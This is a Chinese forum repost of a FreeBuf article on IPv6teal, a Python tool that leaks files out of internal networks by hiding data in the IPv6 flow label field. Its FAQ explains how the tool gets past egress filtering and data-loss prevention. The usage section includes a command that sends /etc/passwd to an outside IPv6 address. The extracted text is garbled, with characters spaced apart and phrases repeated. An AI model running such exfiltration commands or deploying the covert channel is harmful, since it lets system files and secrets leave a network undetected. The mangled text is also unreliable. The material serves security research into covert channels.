搜索

[14505] 2019-08-24_IPv6teal：使用IPV6covertchannel进行隐蔽的数据渗透

文档创建者：s7ckTeam
浏览次数：45
最后更新：2025-01-18
2019-08-24_IPv6teal：使用IPV6covertchannel进行隐蔽的数据渗透 I P v 6 t e a l ： 使 用 I P V 6   c o v e r t   c h a n n e l 进 行 隐 蔽 的 数 据 渗 透 s e c i s t   F r e e B u f   2 0 1 9 - 0 8 - 2 4 I P v 6 t e a l 是 一 款 由 是 一 款 由 P y t h o n   3 编 写 的 工 具 ， 它 可 以 使 用 构 建 在 编 写 的 工 具 ， 它 可 以 使 用 构 建 在 I P v 6 报 头 流 标 签 字 段 之 上 的 隐 蔽 信 道 ， 隐 蔽 的 从 内 部 网 络 中 泄 露 数 据 。 报 头 流 标 签 字 段 之 上 的 隐 蔽 信 道 ， 隐 蔽 的 从 内 部 网 络 中 泄 露 数 据 。 其 主 要 由 以 下 2 个 部 分 组 成 ： e x f i l t r a t e . p y ： 客 户 端 组 件 ， 用 于 从 内 部 计 算 机 中 泄 露 数 据 r e c e i v e . p y ： 服 务 器 端 组 件 ， 用 于 接 收 窃 取 数 据 背 景 背 景 F l o w   L a b e l ： 2 0 比 特 。 I P v 6 中 新 增 。 流 标 签 可 用 来 标 记 特 定 流 的 报 文 ， 以 便 在 网 络 层 区 分 不 同 的 报 文 。 转 发 路 径 上 的 路 由 器 可 以 根 据 流 标 签 来 区 分 流 并 进 行 处 理 。 由 于 流 标 签 在 I P v 6 报 文 头 中 携 带 ， 转 发 路 由 器 可 以 不 必 根 据 报 文 内 容 来 识 别 不 同 的 流 ， 目 的 节 点 也 同 样 可 以 根 据 流 标 签 识 别 流 ， 同 时 由 于 流 标 签 在 报 文 头 中 ， 因 此 使 用 I P S e c 后 仍 然 可 以 根 据 流 标 签 进 行 Q o S 处 理 。 ( W i k i p e d i a ) 可 以 将 该 字 段 设 置 为 任 意 值 ， 而 不 会 影 响 数 据 包 传 递 到 其 目 标 。 因 此 ， 我 们 可 以 通 过 在 此 字 段 中 存 储 数 据 来 构 建 隐 蔽 信 道 。 e x f i l t r a t i o n 脚 本 每 2 0 比 特 数 据 发 送 1 个 I P v 6 数 据 包 ， r e c e i v e r 脚 本 通 过 读 取 该 字 段 重 建 数 据 。 每 个 I P v 6 数 据 包 发 送 的 p a y l o a d 包 含 一 个 魔 术 值 （ m a g i c   v a l u e ） 以 及 一 个 序 列 号 。 因 此 ， 接 收 端 可 以 确 定 哪 些 I P v 6 分 组 与 其 相 关 并 进 行 解 码 。 使 用 使 用 基 本 要 求 ： 基 本 要 求 ： 客 户 端 （ 存 数 据 ） 和 服 务 器 （ 窃 取 数 据 ） 都 需 要 支 持 I P v 6 并 拥 有 I P v 6 地 址 。 在 测 试 中 ， 我 使 用 的 是 5 美 元 / 月 的 D i g i t a l O c e a n   d r o p l e t 。 客 户 端 和 服 务 器 都 需 要 安 装 s c a p y （ p i p   i n s t a l l   s c a p y = = 2 . 4 . 2 ） P y t h o n   3 S e r v e r 在 提 取 数 据 的 计 算 机 上 ， 以 r o o t 身 份 运 行 r e c e i v e . p y 。 C l i e n t 在 泄 露 数 据 的 计 算 机 上 ， 以 r o o t 身 份 运 行 e x f i l t r a t e . p y 。 使 用 示 例 ： $   p y t h o n 3   r e c e i v e . p y   h a s h e s [ - ]   S t a r t e d   r e c e i v e r $   p y t h o n 3   e x f i l t r a t e . p y   - - h e l p u s a g e :   e x f i l t r a t e . p y   [ - h ]   [ - - p a c k e t - s e n d i n g - i n t e r v a l - m s   S E N D I N G _ I N T E R V A L ]                                           i n p u t _ f i l e   d e s t i n a t i o n p o s i t i o n a l   a r g u m e n t s :     i n p u t _ f i l e                         F i l e   t o   e x f i l t r a t e     d e s t i n a t i o n                       I P v 6   a d d r e s s   w h e r e   t o   e x f i l t r a t e   d a t a o p t i o n a l   a r g u m e n t s :     - h ,   - - h e l p                         s h o w   t h i s   h e l p   m e s s a g e   a n d   e x i t     - - p a c k e t - s e n d i n g - i n t e r v a l - m s   S E N D I N G _ I N T E R V A L                                                 N u m b e r   o f   m i l l i s e c o n d s   t o   w a i t   b e t w e e n   e a c h   I P v 6                                                 p a c k e t   t o   s e n d   ( d e f a u l t :   1 0 ) $   p y t h o n 3   e x f i l t r a t e . p y   / e t c / p a s s w d   2 a 0 3 : b 0 c 0 : 3 : d 0 : : c e e : 8 0 0 1     S e n d i n g   5 6 0   b y t e s   ( 4 4 8 0   b i t s )   i n   2 2 5   I P v 6   p a c k e t s . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .                                                                                                                                                                                                                                                                                                                       . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .                                                                                                                                                                                                                                                                                                                       . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .                                                                                                                                                                                                                                                                                                                       . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .                                                                                                                                                                                                                                                                                                                       . . . . . . . . . . . . . . . . . . . . . . . .
F . A . Q . 我 们 不 能 直 接 将 数 据 存 储 在 我 们 不 能 直 接 将 数 据 存 储 在 I C M P v 6   e c h o - r e q u e s t 数 据 包 或 数 据 包 或 I P v 6 数 据 包 本 身 的 数 据 包 本 身 的 p a y l o a d 中 吗 ？ 中 吗 ？ 当 然 可 以 。 然 而 ， 这 个 P o C 是 为 企 业 网 络 的 （ 虚 构 ） 场 景 构 建 的 ， 企 业 网 络 将 具 有 严 格 的 出 口 网 络 过 滤 ， 例 如 ， 将 阻 止 从 内 部 用 户 网 络 到 互 联 网 的 I C M P v 6 ， 和 / 或 D L P 将 分 析 I P v 6 / I C M P v 6 数 据 包 的 p a y l o a d 。 即 使 在 这 种 情 况 下 ， 也 不 太 可 能 阻 止 所 有 传 出 的 I P v 6 通 信 ， 因 此 仍 然 允 许 使 用 该 技 术 进 行 数 据 泄 露 。 它 的 速 度 怎 么 样 ？ 它 的 速 度 怎 么 样 ？ 虽 然 发 送 的 数 据 是 使 用 G Z I P 压 缩 的 ， 但 速 度 非 常 慢 。 通 过 网 络 发 送 的 每 个 I P v 6 数 据 包 包 含 2 0 比 特 数 据 （ 即 两 个 半 A S C I I 字 符 ） 。 在 我 的 测 试 中 ， 我 设 法 在 3 0 分 钟 内 在 不 同 的 D i g i t a l O c e a n 区 域 （ 阿 姆 斯 特 丹 和 法 兰 克 福 ） 的 2 台 机 器 上 传 输 1 . 2   M B 的 未 压 缩 随 机 数 据 文 件 。 它 可 靠 吗 ？ 它 可 靠 吗 ？ 我 的 回 答 是 不 。 任 何 I P v 6 数 据 包 丢 失 都 会 导 致 传 输 失 败 。 这 是 我 故 意 这 么 做 的 ， 为 了 保 持 工 具 的 简 单 特 性 ， 避 免 重 新 实 现 类 似 T C P 的 伪 网 络 堆 栈 。 然 后 ， 它 会 处 理 乱 序 的 I P v 6 数 据 包 。 传 输 是 否 加 密 ？ 传 输 是 否 加 密 ？ 我 的 回 答 同 样 是 不 。 如 果 你 要 传 输 敏 感 数 据 ， 最 好 在 将 数 据 提 供 给 e x f i l t r a t i o n 脚 本 之 前 对 客 户 端 的 数 据 进 行 加 密 。 它 可 以 处 理 大 文 件 吗 ？ 它 可 以 处 理 大 文 件 吗 ？ 可 能 不 行 。 也 许 。 无 论 如 何 它 会 很 慢 。 为 什 么 脚 本 需 要 以 为 什 么 脚 本 需 要 以 r o o t 身 份 运 行 ？ 身 份 运 行 ？ 因 为 他 们 制 作 原 始 的 i p v 6 数 据 包 。 如 果 这 对 你 来 说 是 个 问 题 ， 那 么 你 也 可 以 将 c a p - n e t - r a w 功 能 提 供 给 非 超 级 用 户 ， 并 让 它 来 运 行 脚 本 。 有 些 数 据 包 丢 失 了 ， 该 怎 么 办 ？ 有 些 数 据 包 丢 失 了 ， 该 怎 么 办 ？ 尝 试 增 加 e x f i l t r a t i o n 脚 本 的 - - p a c k e t - s e n d i n g - i n t e r v a l - m s 参 数 值 。 默 认 情 况 下 为 1 0 毫 秒 ， 这 意 味 着 程 序 在 发 送 每 个 新 数 据 包 之 前 会 等 待 1 0 毫 秒 。 关 于 关 于 该 工 具 的 最 初 灵 感 来 源 于 锡 拉 丘 兹 大 学 的 N o r k a   B .   L u c e n a ， G r z e g o r z   L e w a n d o w s k i 和 S t e v e   J .   C h a p i n 撰 写 的 有 关 I P v 6 中 的 隐 蔽 信 道 的 论 文 。 如 果 你 对 该 工 具 有 任 何 的 疑 问 或 错 误 报 告 ， 请 随 时 打 开 i s s u e 或 向 我 发 送 t w e e t   @ c h r i s t o p h e t d 。 * 参 考 来 源 ： 参 考 来 源 ： G i t H u b ， ， F B 小 编 小 编 s e c i s t 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 d o n e
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理